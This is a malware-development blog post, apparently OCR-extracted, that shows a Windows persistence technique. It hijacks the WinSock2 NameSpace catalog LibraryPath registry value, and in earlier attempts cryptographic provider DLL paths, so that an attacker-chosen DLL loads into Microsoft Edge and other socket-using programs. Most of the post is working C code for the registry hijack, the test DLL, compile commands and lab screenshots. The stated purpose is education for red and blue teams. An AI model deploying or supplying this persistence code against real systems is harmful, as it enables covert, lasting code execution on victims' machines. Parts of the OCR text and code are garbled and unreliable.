Malware development: persistence - part 26. Microsoft
Edge - part 1. Simple C example.
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3 minute read

Hello, cybersecurity enthusiasts and white hackers!

2024-08-14-malware-pers-26 > pers.c winT1-en-us (procmon-test) [Running] - Oracle VM VirtualBox - ®

Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/
PSWindows

PS C:\Windows\system32> cd Z:\2024-08-14-malware-pers-26\
PS Z:\2024-08-14-malware-pers-26> .\pers.exe

<windows.h>
PS 7:\2024-08-14-malware-pers-26> reg query

<string.h> /s

int main(int argc, char® argv[]) { JHKEV_LOCAL_MACHINE\System\CurrentControlSet\Services\WinSock2\Parameters\NameSpa
HKEY hkey NULL ; ce_Catalog5\Catalog_Entries64\000000000007

LibraryPath REG_SZ Z:\hack.d1ll |
" W7o\ md DisplayString REG_SZ @%SystemRod wmeo 32\nlasvc.dll, -1000
iz alll 2B iEEo g Providerid REG_BINARY 3A244266A4 h\52E@BD71FDD83

: SupportedNameSpace REG_DWORD ox]
LONG res = RegOpenKeyEx (HKEY_LOCA Enabled REG_DWORD ox1

"System\\CurrentControlSet\\Servi Version REG_DWORD ox0
000007", O , KEY WRITE, thkey); StoresServiceClassInfo REG_DWORD
(res ERROR SUCCESS) { ProviderInfo REG_BINARY
MPS Z:\2024-08-14-malware-pers-26>
RegSetValueEx(hkey, - (LPCSTR) "Lj
RegCloseKey (hkey) ;
‘r

0;

11:35 AM
A ®mE ) Mondy [
8/19/2024.

&L 0E &8 El@ @ Right ctrl

This post came about in preparation for a workshop on Malware Persistence techniques that
| teach at various conferences in Europe and Asia. This post shows that interesting
persistence methods can be found via Sysinternals Procmon via filters, this is a well-known
and popular method, | just want to show it in practice. In my case, everything worked out
thanks to one of the registry keys that is used by many applications of the operating system,
in particular Microsoft Edge:

"HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\Catalo
g_Entries64\000000000007"

Apparently this registry path is used by all applications that work with sockets.

practical example

First of all, | just start with simple filters in Procmon, like this:
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B A ) . - 2
{ RegQuentalue  HKLM\System*CumertControl Set'Services\ TepipParameters\Domain SUCCESS Type
I’Heg(‘n wnddzshiia HET MY Cuotam U Dimard T ardesl Sot Camsinan’ Tenin Baramatars 't Hactnama CHCCESS T)']:IE
B . . -
[ Feg! B¥ Process Monitor Filter * CESS Type
B -
i Regt ZESS Type
B H -
egl . . . . LESS Type
[ Display entries matching these conditions: L »®
i Regt [ESS Type
B - = -
[Real  Architecture ~ s ~ ~ | then Include -~ ZES3 Type
B -
i Regt [ESS Type
3 -
i Regt [ESS Type
{ Regt Reset Add Remove ESS Type
B -
i Regt LESS Type
3 -
i Regt LESS Type
|" Regl | Column Relation Walue Action IESS Type
3 - -
L Redl | @ # Operation  is RegQueryValue Include ZESS Type
Reql i# ; . LESS Type
L Hegl: B & Detail contains REG_5Z Include “Ecg Tﬂ:l
eg p= o _ : ypE
I’Hegc 8 & rath begins with HKLI Include | Troe
| F= . F
B iy I
" Regt ] kg Path containg Path Include [EsS Type
i Regl ] @ Process M... is Procmon exe Exclude IESS Type
{ Regl ﬂ@ Process M... is Procesp exe Exclude LESS Type
B . =
[ Real H@ Process N... is Autoruns.exe Exclude LESS Type
» -
LHegi ] @ Process M. is Procmaonbd exe Exclude :ESS Type
{ Regt [ESS Type
» -
{ Regt \ _ [ESS Type
b oK Cancel Apply L
{ Regt . [ESS Type
» -
(Regl——, e e = ZESS Type
B - S
{ RegQuenValue  HKLMASOFTWARE \Microsoft\Input'\LocalesMoc_040%Dictionary File SUCCESS Type
? BanCiandizlie HEDMSOETW AR E Mirrmeaf dnm di ] aealasilae ARG anec Madal Dirset oo ClirrECC Tz
=N Co Pre —
I Process Monitor - Sysinternals: www.sysinternals.com - X
File Edit Event Filter Tools Options Help
ra g el 17
HNRIIYAO& # 0/l = Dol
Time: Process Name FID  Operation Path Result Detail
f 2112 [ RegQuenyValue  HKLM\SOFTWARE \Microsoft\Input\Settings \proc_1\AUTOCORRECTSUPPRESSPREVCHARS SUCCESS Type: REG_SZ, Le.
2112 [l RegQuenyValue  HKLM\SOFTWARE\Microsoft'\PolicyManager'default® Textinput\Mlow LinguisticDataCollection’grouppo... SUCCESS Type: REG_SZ Le.
2112 [l RegQuenyVialue  HKLM\SOFTWARE \Microsoft'\PolicyManager'default' Textinput\Mlow Linguistic DataCollection\grouppo... SUCCESS Type: REG_SZ. Le.
212 ﬁRegQuew\;‘a\ue HELM\SOFTWARE \Microsoft\InputLocalestoc_0409\Dictionary File SUCCESS Type: REG_SZ. Le.
2112 [ RegQuenyValue HKLM\SOFTWARE \Microsoft\Inputi\Locales\oc_0409\Fluency Model Directory SUCCESS Type: REG_SZ. Le.
2112 [ RegQuenyValue HKLM\SOFTWARE \Microsoft\M TFKeyboardMappings\LANG_0409\Hardware Keyboard SUCCESS Type: REG_SZ. Le.
2112 [ RegQuenValue HKLM\SOFTWARE\Microsoft\Input\Locales oc_0409\Dictionary File SUCCESS Type: REG_SZ. Le.
2112 [ RegQuenyValue HKLM\SOFTWARE \Microsoft\Input'Locales'loc_0409\Fluency Model Directory SUCCESS Type: REG_SZ. Le
2112 [ RegQuenyValus  HKLM\SOFTWARE Microsoft\MTFKeyboardMappings'\LANG_0405\SoftKeyboard SUCCESS Type: REG_SZ, Le
2112 [ RegQuenyValue HKLM\SOFTWARE \Microsoft\Input'Locales'loc_0409\Dictionary File SUCCESS Type: REG_SZ. Le
2112 [ RegQuenyValue HKLM\SOFTWARE \Microsoft\Input'Settings'proc_1"AUTOCORRECTIONTRIGGERS SUCCESS Type: REG_SZ, Le
2112 [ RegQuenyValue HKLM\SOFTWARE\Microsoft\Input'Settings'proc_1\PERIODSHORTCUTCHARS SUCCESS Type: REG_SZ, Le
2112 [ RegQuenyValue  HKLM\SOFTWARE \Microsoft\Input\Settings \proc_1\COMMONEMOJITERMINATORS SUCCESS Type: REG_SZ, Le.
2112 [ RegQuenyValue  HKLM\SOFTWARE \Microsoft\Input\Settings \proc_1\COMMONEMOJIPRETERMINATORS SUCCESS Type: REG_SZ, Le.
2112 [ RegQuenyValue  HKLM\SOFTWARE \Microsoft\Input\Settings \proc_1\AUTOCORRECTSUPPRESSPREVCHARS SUCCESS Type: REG_SZ. Le.
212 ﬁRegQuew\;‘a\ue HELM\SOFTWARE \Microsoft’\PolicyManager'default' Text Input \ Allow Linguistic DataCollection‘grouppa... SUCCESS Type: REG_SZ. Le.
2112 [ RegQuenyValue HKLM\SOFTWARE\Microsoft'\PolicyManager'defaulth TextInput \Allow Linguistic DataCollection‘\grouppo... SUCCESS Type: REG_SZ. Le.
2112 [ RegQuenValue HKLM\SOFTWARE \Microsoft\Inputi\Locales oc_0409\Dictionary File SUCCESS Type: REG_SZ. Le.
2112 [ RegQuenyValue HKLM\SOFTWARE \Microsoft\InputhLocales\oc_0409\Fluency Model Directory SUCCESS Type: REG_SZ. Le.
2112 [ RegQuenyValus  HKLM\SOFTWAREMicrosoR\MTFKeyboardMappings\LANG_0409\HardwareKeyboard SUCCESS Type: REG_SZ Le
2112 [ RegQuenyValue HKLM\SOFTWARE \Microsoft\Input'Locales'loc_0409\Dictionary File SUCCESS Type: REG_SZ. Le
2112 [ RegQuenyValus  HKLM\SOFTWARE Microsoft\Input'Locales'loc_0405\Fluency Model Dirsctory SUCCESS Type: REG_SZ, Le
2112 [ RegQuenyValue HKLM\SOFTWARE \Microsoft\MTFKeyboardMappings \LANG_0409"SoftKeyboard SUCCESS Type: REG_SZ, Le
5692 [ RegGueryValue HKLM\SOFTWARE Microsoft\PolicyManager'default DeliveryOptimization'DODownloadMode \groupp.... SUCCESS Type: REG_SZ, Le
5692 [ RegQueryValue HKLM\SOFTWARE\Microsoft\PolicyManager'default DeliveryOptimization DO DownloadMode \groupp... SUCCESS Type: REG_SZ, Le.
1336 ﬁRegQuewVa\ue HKLM*System'\CumrentCantrol Set* Services\ Tepip\Parameters®Interfaces {780 11500- 1eca-4d 1b-aela-7... SUCCESS Type: REG_SZ, Le.
1336 ﬁRegQuewVa\ue HKLM*System'\CumrentCantrol Set* Services\ Tepip\Parameters®Interfaces {780 11500- 1eca-4d 1b-aela-7... SUCCESS Type: REG_SZ, Le.
1336 ﬁRegQuew\;‘a\ue HKLM\System"\CumentCantrol Set\\Services\ Tcpip\Parameters\Interfaces (780 1500- 1cca-4d 1b-zeDa-7... SUCCESS Type: REG_SZ. Le.
1336 ﬁRegQuew\;‘a\ue HKLM\System"\CumentCantrol Set\\Services\ Tcpip\Parameters\Interfaces (780 1500- 1cca-4d 1b-zeDa-7... SUCCESS Type: REG_SZ. Le. i
1336 [ RegQuenyValue HKLM\System\CumentControl Set’Services' Tcpip\ParameterstInterfacas\ {780 f500- 1cca-4d 1b-sela-7... SUCCESS Type: REG_SZ. Le.
1336 [ RegQuenyValue HKLM\System\CumentControl Set\Services' Tcpip\Parameters'nterfaces {780 1f500- 1cca-4d 1b-sela-7... SUCCESS Type: REG_SZ. Le.
780 [ RegQueryValue HKLM\SOFTWARE Microscft\Cryptography’\ Defaults\Provider Types\Type 001'\Name SUCCESS Type: REG_SZ. Le.
780 [ RegQuenyValus HKLM\SOFTWARE Microsoft\Cryptography’\Defautts\Provider Types\Type 001\Name SUCCESS e
7 \SOFTWARE \Microsoft\Cryptography’\Defaults'\Provider\Microsoft Strong Cryptographic Provider... SUCCESS e

3321
3321

3321, ctfmon exe
3321, ctfmon exe
3321 ctfmon exe

e

Showing 3,086 of 475,977 events (0.64%)

780 [P RegQuenyValue
780 [ RegQueryValue
2112 [ RegQuenyValue
2112 [ RegQuenyValue
2112 [ RegQueryValue
1 e e e

A4

HKLM\SOFTWARE \Microsoft\|
HKLM\SOFTWARE \Microsoft\|
HKLM\SOFTWARE \Microsoft\|

LI A8 OAT T AR R mem e o

Backed by virtual memory

FTWAREMicrosoft\Cryptography\Defaults \Provider\Microsoft Strong Cryptographic Provider.
\SOFTWARE \Microsoft\Cryptography\MachineGuid
HKLM\SOFTWARE \Microsoft\Cryptography\MachineGuid

Input*Locales\loc_0409\Dictionary File
Input'Settings\proc_1"AUTOCORRECTIONTRIGGERS
Input'Settings\proc_1\PERIODSHORTCUTCHARS
maie e 4

AAMLALIEIAA TR A TAR S

SUCCESS Type: REG_SZ. Le
SUCCESS Type: REG_SZ. Le
SUCCESS Type: REG_SZ, Le.
SUCCESS Type: REG_SZ, Le.
SUCCESS Type: REG_SZ. Le.
cliemron Teenre e

As you can see, we can replace different registry key values:

2/13



EX Administrator: Windows PowerShell - (m] x

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced Cryptogr
aphic Provider v1.0

Image Path REG_SZ %SystemRoot%\system32\rsaenh.dll

SigInFile REG_DWORD 2x0

Type REG_DWORD ax1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced DSS and
Diffie-Hellman Cryptographic Provider

Image Path REG_SZ %SystemRoot%\system32\dssenh.dll

SigInFile REG_DWORD 2xe

Type REG_DWORD oxd

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and
AES Cryptographic Provider

Image Path REG_SZ %SystemRoot%\system32\rsaenh.dll

SigInFile REG_DWORD 2x0

Type REG_DWORD ox18

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft RSA SChannel Cryp
tographic Provider

Image Path REG_SZ %SystemRoot%\system32\rsaenh.dll

SigInFile REG_DWORD 2x0

Type REG_DWORD oxc

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptograp
hic Provider

Image Path REG_SZ %SystemRoot%\system32\rsaenh.dll
SigInFile REG_DWORD 2xe
Type REG_DWORD  @x1

PS C:\Windows\system32>

As an experiment | decided to replace one of these DLLs.

In C it's looks like this:

#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious DLL
const char* dl1 = "Z:\\hack.d1l";

// RSA
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR) "SOFTWAREN\Microsoft\\Cryptography\\Defaults\\Provider\\Microsoft Strong
Cryptographic Provider", @ , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"Image Path", 0, REG_SZ, (unsigned char*)dl1,
strlen(dll));
RegCloseKey(hkey);
}

return 0;

or another value:
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#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious DLL
const char* dl1 = "Z:\\hack.d1ll";

// RSA??7?

LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)"SOFTWARE\\Microsoft\\Cryptography\\Defaults\\Provider\\Microsoft Enhanced
RSA and AES Cryptographic Provider", 0 , KEY_WRITE, &hkey);

if (res == ERROR_SUCCESS) {

// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"Image Path", 0, REG_SZ, (unsigned char*)dll,
strlen(dll));
RegCloseKey(hkey);
}

return 0,

It certainly worked:

m

File Edit VYiew Favorites Help

Mame Type Data
2 :s 28] Defautt REG_SZ (value ot set)
P erver I ati| Image Path REG_SZ FSystemRoot3e\system32irsaenh.dll
qp ‘l'l'é] SiglnFile REG_DWORD 0:00000000 (0)
hd Processor
24 Type REG_DWORD 000000001 (1)
‘nrollment
fTernpFiles
- x

Microsoft Base Cryptographic Provid
Microsoft Base DS5 and Diffie-Hellm
Microsoft Base DS5 Cryptographic Pr Hello, world!
Microsoft Base Smart Card Crypto Pr
Microsoft DH SChannel Cryptograph
Microsoft Enhanced Cryptographic F
Microsoft Enhanced D55 and Diffie-F
Microsoft Enhanced RSA and AES Cn
Microsoft RSA SChannel Cryptograpl
Microsoft Strong Cryptographic Prov
vider Types

But the caveat is that the entire operating system froze after this and even the antivirus
started freeze.

4/13



So i decided to start a new search:

B Process Monitor Filter *

Filters were in effect the last time you exited Process Monitor:

Display entries matching these conditions:

Architecture s w ~ | then Include w
Reset Add Remove

Column Relation Yalue Action

\.J Process M... contains msedge Include

\.J Operation is RegQueryValue Include

{9 Detail contains REG_SZ Include

n.J Detail contains dll Include

i Path begins with HELM Include

@ Process M... is Procmon.exe Exclude

‘!‘ Prareaa M iz Prarevn eve Ferdiid=

=]
=]

After a long search | found another interesting key and value in the registry:

reg query

"HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\Catalo
g_Entries64\000000000007" /s

E¥ Administrator: Windows PowerShell [m) *
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> reg query
/s

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\Cata
log Entries64\000000000007

LibraryPath REG_SZ %SystemRoot%\system32\nlansp_c.dll

DisplayString REG_SZ @%SystemRoot%\system32\nlasvc.dll, -1@00@

ProviderId REG_BINARY 3A244266A83BA64ABAAS2EOBD71FDD83

SupportedNameSpace REG_DWORD oxf

Enabled REG_DWORD ex1

Version REG_DWORD ox0

StoresServiceClassInfo REG_DWORD oxe

ProviderInfo REG_BINARY

PS C:\Windows\system32>
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and tried to replace it. For this just update Librarypath value:

* hack.c

* Microsoft Edge

* persistence trick v1.0

* author: @cocomelonc

* https://cocomelonc.github.io/malware/2024/08/14/malware-pers-26.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious DLL
const char* dll1 = "Z:\\hack.dll";

LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)"System\\CurrentControlSet\\Services\\WinSock2\\Parameters\\NameSpace_Catalog
5\\Catalog_Entries64\\000000000007", 0 , KEY_WRITE, &hkey);

if (res == ERROR_SUCCESS) {

// update registry keys
RegSetValueEx(hkey, (LPCSTR)"LibraryPath", ©, REG_SZ, (unsigned char*)dl11,
strlen(dll));
RegCloseKey(hkey);
}

return 0;

As you can see, the code is pretty simple as usual, just set value via RegSetVvalueEx
function. In my case, hack.d11 - just meow-meow messagebox:
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* hack.c

* "malware" for Microsoft Edge
* persistence trick

* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/08/14/malware-pers-26.html

*/

#include <windows.h>

#pragma comment (lib,

BOOL APIENTRY Dl1lMain(HMODULE hModule,

switch (nReason) {
case DLL_PROCESS_ATTACH:

MessageBoxA(NULL,

break;

case DLL_PROCESS_DETACH:

break;

case DLL_THREAD_ATTACH:

break;

case DLL_THREAD_DETACH:

break;

}
return TRUE;

demo

"Meow-meow!!", "=A,

"user32.1ib")

DWORD nReason, LPVOID lpReserved) {

.A=", MB_OK);

Let’s check everything in action.

Compile our meow-meow “malware” hack. c:

x86_64-w64-mingw32-g++ -02 hack.c -0 hack.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-

constants -static-libstdc++ -static-libgcc -fpermissive

[~ YWXTWXTY -X

—I'wXT'wXI'-X
l—rw—rw—r——
—rw-rw-r--

s 1

And compile persistence script:

cocomelonc
cocomelonc
cocomelonc
cocomelonc

cocomelonc 227479 Aug 20 13:08

cocomelonc
cocomelonc
cocomelonc

15872 Aug 19 21:31
690 Aug 15 09:20 pers.c
545 Aug 15 09:20 hack.c
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x86_64-w64-mingw32-g++ -02 pers.c -0 pers.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive

cocomelonc@pop... mc [cocomelonc@... mec [cocomelonc@... cocomelonc@pop... mc [cocomelonc@... cocomelonc@pop...

$ x86_64-wb4-mingw32-g++ -02 pers.c -o pers.exe -I/usr/share/mingw-

w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings

-fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgc
c -fpermissive

cocomelonc cocomelonc 15872 Aug 20 13:08
cocomelonc cocomelonc 227479 Aug 20 13:08
cocomelonc cocomelonc 690 Aug 15 09:20 pers.c
cocomelonc cocomelonc 545 Aug 15 09:20 hack.c

Then, run it on test victim’s machine (Windows 11 x64):
.\pers.exe

| EX Administrator: Windows PowerShell — [m] X_ |
PS Z:\2024-08-14-malware-pers-26> reg query
/s

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\Cata
log_Entries64\000000000007

LibraryPath REG_SZ Z:\hack.dll

DisplayString REG_SZ @%SystemRoot%\system32\nlasvc.dll, -1000

ProviderId REG_BINARY 3A244266A83BA64ABAA52E@BD71FDDE3

SupportedNameSpace REG_DWORD oxf

Enabled REG_DWORD ex1

Version REG_DWORD oxe

StoresServiceClassInfo REG_DWORD oxe

ProviderInfo REG_BINARY

PS Z:\2024-08-14-malware-pers-26>

As you can see, registry key value is successfully updated. Note that we need Administrative
privieges for update this Registry value.

Then, try to open Microsoft Edge:
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Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/
PSWindows

PS C:\Windows\system32> cd Z:\2024-08-14-malware-pers-26\
PS Z:\2024-08-14-malware-pers-26> .\pers.exe
PS Z:\2024-08-14-malware-pers-26> reg query

/s

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinSock2\Parameters\NameSpa
ce_Catalog5\Catalog Entries64\000000000007
LibraryPath REG_SZ Z:\hack.dll
DisplayString REG_SZ @%SystemRoquNNNEN 32 \nlasvc.dll, -1000
Providerld REG_BINARY 3A244266A4 \S2E@BD71FDD83
SupportedNameSpace REG_DWORD oxf
Enabled REG_DWORD ox1
Version REG_DWORD 0x0
StoresServiceClassInfo REG_DWORD ox0
ProviderInfo REG_BINARY

PS Z:\2024-08-14-malware-pers-26>

Meow-meow!!

i O U = > AB@Y)
8o oOEEa ¢
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win11-en-us (procmon-test) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

>}

Windows PowerShell I
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> cd Z:\2024-88-14-malware-pers-26\
PS Z:\2024-08-14-malware-pers-26> .\pers.exe
PS Z:\2024-88-14-malware-pers-26> reg query

/s

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\Catalog_En
tries64\000000000007
LibraryPath REG_SZ Z:\hack.dl1l
DisplayString REG_SZ @%SystemRoot%\system32\nlasvc.dll, -1000
ProviderId REG_BINARY 3A244266A83BA6G4AB OBD71FDD83
SupportedNameSpace REG_DWORD oxft
Enabled REG_DWORD exl
Version REG_DWORD oxe
StoresServiceClassInfo REG_DWORD ox0
ProviderInfo REG_BINARY

Meow-meow!!

PS Z:\2024-088-14-malware-pers-26>

11:33 AM

PS Z:\2024-08-14-malware-pers-26> reg query

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\Catalog En
tries64\000000000007

LibraryPath REG_SZ Z:\hack.dll

DisplayString REG_SZ @%SystemRoot%\system32\nlasvc.dll, -1000

ProviderId REG_BINARY 3A244266A83BA6G4AB BD71FDD83

SupportedNameSpace REG_DWORD oxf
Enabled REG_DWORD ox1

Version REG_DWORD oxe
StoresServiceClassInfo REG_DWORD oxe
ProviderInfo REG_BINARY

Meow-meow!!

PS Z:\2024-08-14-malware-pers-26>

For the correctness of the experiment, we will launch our Process Hacker 2 and check
memory:
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5 ] s » Oxc 00000ca0l 00 00 00 00 00 00 00 00 a0 ec 04 d7 85 02 00 00 4uueeueunneennn. ocess for Windows Ser... |
y W Isass y Oxc ©00000cbd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 «eeeenennennnnn. scurity Authority Proce... |
font: 5 oxe D0000cc «de Font Driver Host
T 00000cdl 00 00 00 00 00 00 00 00 0% 00 . . Runti p
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= o] font: > 0XC 0p0o00d00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 weeeeveeueananns ide Font Driver Host
-t EW] chwrr » Oxc 00000410 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 seeeeennnnnannns » Window Manager
- | » Oxc 00000420 cO =4 04 47 8b 02 00 00 90 4b 01 47 8b 02 00 00 ...venn.. Beveunan ol
d =l SXPEOIR > Oxc 00000d30 10 56 01 d7 &b 02 00 00 dl 47 03 d7 3b 02 00 00 .V....... G JE=plorer
@ secu 5 oxe 00000440 e8 22 b0 £9 £8 7£ 00 00 02 02 08 00 00 00 00 00 .".eevvnnnnnnn.. us Security notification...
n §% VBo > oxe 70000dS0 0 94 07 47 &b 02 00 00 00 00 00 00 00 00 08 00 +everenenaenenss [ v
& Onel s 00000460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 weeeenennnnanann st OneDrive
S - *C 00000d70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vevensennsnenanns
1% Proc > 0XC ppooods0 00 OO0 00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 weeeeeweeeeeenas Hacker
e v N > 0xc QO000dS0 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4eueeeeeeneennnn erShell
B o » Oxc 00000da0 00 OO0 00 OO0 00 OO0 00 OO0 OO0 OO0 OO0 00 00 00 00 00 weeeessnnannaans indow Host
» Oxc 00000dk0 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 weeeenenvannnnas
v & mse 5 gx2 00000dcO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wevueseneunnnnns Erge
e m 3 o2 00000440 00 00 00 00 00 00 00 00 QOO0 00 00 00 00 00 00 00 weeeevnnsnnnnnns )ﬂ:Edge
v @ cmd.ex > od o o o o o oo oo oo oo oo o o oo oo oo - B ommand Processor
& cont Re-read Write Go to... 16 bytes per row ~ Save... 2 Window Host
[T 1 |
CPU Usage: 3.76 -
Filter Save... Copy Close
11:45 7
B OoOSm @@ i A E @ d) Mond
- - — 8/19/2(
P e T e S A £
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msedge.exe (2708) Properties - O 4
9 P

I

General Statistics Performance Threads Token Modules  Memory Environment Handles GPU Comment

Mame Base address Size  Description tn
| BrowserMetrics-66C33...  Ox28bd99a... 4MB of
i dbcatq.dll Ox7fafaaf... 700 kB COM+ Configuration Catalog s
3 combase. dll Ox7ffafabs... 3.46 ME Microsoft COM for Windows ‘o
1 comct32.dl Ox7ff3ea31... 2.64MB  User Experience Controls Li... G
1; crypt32.dl Ox7ffaf7aa... 1.39MB Crypto API32 3
| cryptbase.dll Ox7fafafrz. .. 43 kB Base cryptographic API DLL |

C_1252.ML5S Ox28bdeec... 63 kB
' | c_1252.M15 0x28bd720... 68 kB -
* | c a3z 0x28hdsee. .. 63 kB v
{ C_437.MLS Ox23bd722... 63 kB el
4 DiagnosticDataSetting...  Ox7f&f36a... 43 kB Microsoft Windows Diagnost... s
i dpapi.dll Ox7ffaf73a... 40kB Data Protection API ad
p DWrite. dlil Ox7ffae39c... 2,37 MB  Microsoft DirectX Typoaraph. .. gl
| en-US.pak 0x28bda3b... 296 kB m
| gdi32.dll Ox7ffafailf... 164 kB GDI Client DLL |
| adi32full. dil Ox7ffaf7h4... 1.0O7MB GDI Client DLL B

apapi.dil Ox7ffafads... 144kE Group Policy Client API
U [ hadcd 0x7ff3d697... 260 KB | B
: Ticudt.dat Ox28bdadb... 11.79MB ik

imm32.dll Ox7ffafaed... 196 kB Multi-User Windows IMM32 ..,
| kernel.appcore.dl Ox7ffafasb... 92kB AppModel API Host |
| kernel32.dll Ox7ffafagz,.. 756 kB Windows NT BASE API Clien... of
i KernelBasze.dll Ox7ffafrdo... 3.45MB Windows NT BASE API Clien... BE

locale.nls 0w 28bdefz. .. 224 kB .
b | intl.nls 0x23bd&es. .. 12 kB by
] Close

As you can see, hack.d11 started correctly, the same effect will be for other Windows
programs, even Procmon64.exe. | assume the behavior will be the same if you open anything
that uses Windows sockets. To be honest, | don’t know what this particular registry
parameter is used for, but it seems to have something to do with sockets.

So, everything worked as expected. Perfect! ="..A=

This PoC is how an attacker might use different Windows features like socket connections for
running a “malicious” DLL.

| hope this post spreads awareness to the blue teamers of this interesting persistence
technique, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.
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Windows Sockets
Malware persistence - part 1. Registry run keys
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://learn.microsoft.com/en-us/windows/win32/winsock/windows-sockets-start-page-2
https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html
https://github.com/cocomelonc/meow/tree/master/2024-08-14-malware-pers-26

